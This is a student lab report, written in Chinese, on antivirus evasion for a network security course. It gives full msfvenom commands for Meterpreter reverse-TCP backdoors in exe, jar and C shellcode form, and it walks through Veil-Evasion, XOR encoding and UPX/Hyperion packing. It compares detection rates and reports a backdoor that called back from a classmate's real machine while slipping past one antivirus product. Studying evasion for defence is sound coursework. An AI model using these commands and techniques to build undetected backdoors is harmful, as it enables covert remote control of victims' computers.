20165310 NetSec2019 Week5 Exp3 免殺原理與實踐

20165310 NetSec2019 Week5 Exp3 免殺原理與實踐

1、免殺原理

  • 殺軟是如何檢測出惡意代碼的

    • 基於特徵碼的檢測:特徵碼就是一段惡意程序有可是正常程序沒有的一段代碼,當殺軟檢測到一個程序裏有和特徵碼庫中匹配的特徵碼,就會將它做爲惡意程序處理。
    • 啓發式惡意軟件檢測:殺軟根據程序的片面特徵去推斷其是否包含惡意代碼,一般缺少精確斷定依據。
    • 基於行爲的惡意軟件檢測:是加入了行爲監控的啓發式檢測,更加精確。當一個程序在運行時,殺毒軟件會監視其行爲,若是發現了這種特殊的行爲,例如修改註冊表等,則會把它當成惡意軟件。
  • 免殺是作什麼?

    • 對惡意軟件進行不影響它功能的各類方法操做,如編碼、加殼等處理,使他的特徵碼改變,或是捆綁正常應用等,逃過殺毒軟件的掃描
  • 免殺的基本方法有哪些?

    • 改變特徵碼 :如加殼、用encode對shellcode進行編碼、利用shellcode生成可執行文件、用python和C等其餘語言重寫再編譯。
    • 第二種是改變行爲:如在通信中儘可能使用反彈式鏈接、使用隧道技術、加密通信數據等等,在操做中基於內存操做、減小對系統的修改、加入混淆做用的正常功能代碼等。
    • 第三種是很是規方法:如使用一個有漏洞的應用當成後門,編寫攻擊代碼集成到如MSF中;使用社工類攻擊,誘騙目標關閉AV軟件;純手工打造一個惡意軟件等等。

2、實驗內容

  • 正確使用msf編碼器,msfvenom生成如jar之類的其餘文件,veil-evasion,加殼工具,使用shellcode編程
  • 經過組合應用各類技術實現惡意代碼免殺
  • 用另外一電腦實測,在殺軟開啓的狀況下,可運行並回連成功,註明電腦的殺軟名稱與版本

任務1、使用msf編碼器msfvenom生成後門程序

  • 使用msf命令生成後門程序:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.154.151 LPORT=5310 -f exe > msf-CEncod1.exejava

    • 其中,-e選擇編碼器,-b是payload中須要去除的字符,該命令中爲了使'\x00'不出如今shellcode中,由於shellcode以'\x00'爲結束符

    0

    • 在virscan與VirusTotal中掃描結果分別以下:

    1

    2

    能夠看出來查出率有一半多,免殺效果不好python

  • 嘗試利用msf的屢次編碼參數-i來進行屢次編碼,提升免殺效果:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.154.151 LPORT=5310 -f exe > msf-CEncod2.exeshell

    3

    • 免殺掃描結果以下:

    4

    5

    ​ 能夠發現甚至掃描幾乎不變,甚至反而變多了,效果並很差。編程

  • 嘗試生成別的類型的文件進行免殺操做windows

    • 生成jar類型的後門:msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.154.151 LPORT=5310 x> msf_JarEncode.jar安全

      6

    • 掃描結果以下:網絡

      7

      8

      在virscan中結果明顯比exe文件減小不少,可是在VirusTotal中差很少多線程

任務2、使用veil-evasion生成後門程序及檢測

  • Veil-Evasion的安裝less

    • 安裝veil-evasion:apt-get install evil-evation

    -

    • 過程當中需安裝一系列依賴例如wine等,安裝成功後能夠看到以下界面:

    -

  • 利用Veil生成C語言免殺後門:tcp

    • 命令use evasion進入evil-evasion,命令list能夠查看能編寫哪些種類的後門

    9

    • 咱們選擇C語言的tcp反鏈接後門:use 7(7爲list中的對應序號)

    • 進行參數設置:

    • 生成免殺後門軟件成功,命名爲veil_CEncode.exe

    • 進行掃描查看免殺效果

    ​ 能夠看出免殺效果沒有明顯提升,對比去年學長學姐的博客,效果明顯變差,推測應該是病毒庫更新的緣由。

任務3、半手工注入Shellcode並執行

  • 本機實驗

    • 利用msf生成一段C語言的shellcode:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.154.151 LPORT=5310 -f c

  • 進行了C語言的異或編碼,試圖讓他逃脫殺軟的掃描,驗證編碼是否正確:

    • 例行掃描:

    ​ 效果比上面的工具彷佛好一點,但沒有明顯改善,簡單的異或編碼已經騙不過殺軟了,下回嘗試加密,若是成功再更新。

    • 嘗試回連,查看是否通過異或加密的shellcode還能正常工做,沒有優先嚐試加密的緣由正是由於加密後再解密的shellcode容易失效

  • 另外的真機回連

    • IP改變,從新生成shellcode:

    • 生成可執行文件,發送給對方執行並回連,exploit等待:

    • 對方執行文件,回連成功:

      CA460D5410E976E7803752F4FA332E

    • 執行命令dir確認鏈接成功:

      41636E345393A7896CFD97B4DA3D89

    • 騰訊安全管家掃描沒有掃出

      35E1E87F6D6CA88582E25FDE4F313B

任務4、加殼

  • 對上面第一個半手工shellcode進行UPX加殼,減小文件體積 :

    • 對半手工生成的shellcode加upx殼

    • 掃描結果:

      查出來的殺軟數目反而增多,應該是upx的特徵碼被錄入了病毒庫,下面再加一層加密殼驗證一下本身的見解

    • 利用wine模擬Windows環境,運行hyperion.exe進行加殼

    • 進行掃描:

      ​ 被掃描出的結果更多,能夠驗證上面的想法,著名加殼工具只會增長被發現機率,建議本身加花指令或者改殼。

任務5、據說pathon-evasion挺好用

  • 爲了可以嵌入彙編語言,選擇了C語言對shellcode進行處理,加密解密沒有現成的庫簡直要了命= =,因而賊心不死仍是想找個工具,因而安裝了據說很好用的pathon-evasion,可是不得不說安裝和evil-evasion同樣麻煩。

    • 通過一系列複雜的異或與多線程等操做以後,生成了exe送去掃描:

      能夠看見結果稍有好轉,可是沒有理想中那麼好,查看掃描結果發現,pathon自己特徵碼已經被殺軟鎖定了,甚至不須要掃描文件自己,直接能夠判定是惡意代碼,大概是曾經太好用了,可見不少殺毒軟件更新仍是可靠而且快的。

    • 可是仍是有優勢的,以前生成的全部惡意軟件沒有可以逃過火絨的掃描,可是這款生成的軟件成功沒有被發現(*_phan.exe文件都沒有被掃出)

      總的來講,國內主流殺軟病毒庫,就本次掃描結果來講360>火絨>騰訊,但我的使用感火絨>360=騰訊,因此最後仍是選擇了火絨,但願它病毒庫能更新的快一點吧。

3、遇到問題與實驗感想

一、遇到的問題:

  • Veil-Evasion安裝失敗

    • 建議先執行apt-get upgrade操做,進行後成功率高了不少
    • 事實上即使更新後,安裝仍然中斷許屢次,那就多試幾回吧
    • 若是報錯可是仍是完成了安裝,不妨試着運行一下,我最終安裝有報錯可是能正常運行,估計緣由是前幾回雖然安裝失敗但有些配置已經配置好了,正好是最後一次失敗的配置。

    -

  • ping不通別人的真機

    • 虛擬機網絡設置改成橋接模式
    • 對方關閉防火牆

  • 回連不成功

    • 嘗試了n次生成不一樣的shellcode,再編譯成可執行文件
    • 查看進程和端口都沒問題
    • 忽然就成功了大概是個玄學,多試幾回吧,加油,感受驗收又會死在這個上面好久,god bless me。

二、實驗收穫與感想

  • 本次試驗掃描出來最少的樣品實際上是veil生成的一個python的回連腳本,可是因爲我沒有使用py2exe,並不能肯定生成exe可執行文件後是否不會被掃描,可是根據msf生成的Java的掃描結果,彷佛都比c語言要具備必定的優點。-

  • 簡陋的半手動shellcode生成可執行文件依然比過於大衆的免殺工具好用,例如:加upx的殼與veil的C語言後門,以及msf生成的源碼。

  • 能夠大膽猜想一下,若是要作到真正的免殺,半手動的py/jar進行處理+部分小衆工具會有奇效,要是能本身生成shellcode或許更好,總而言之就是要改變特徵碼與哈希值。

  • 若是要避免動態監測,綁定正常程序或者以正常程序爲模板或者生成惡意dll調用,會比單獨的惡意軟件好不少。

  • 雖然火絨病毒庫不夠新,依然不能阻止我愛他的使用感。

  • 不少想法想驗證,可是我來不及了,時間太少了,枯了。

相關文章
相關標籤/搜索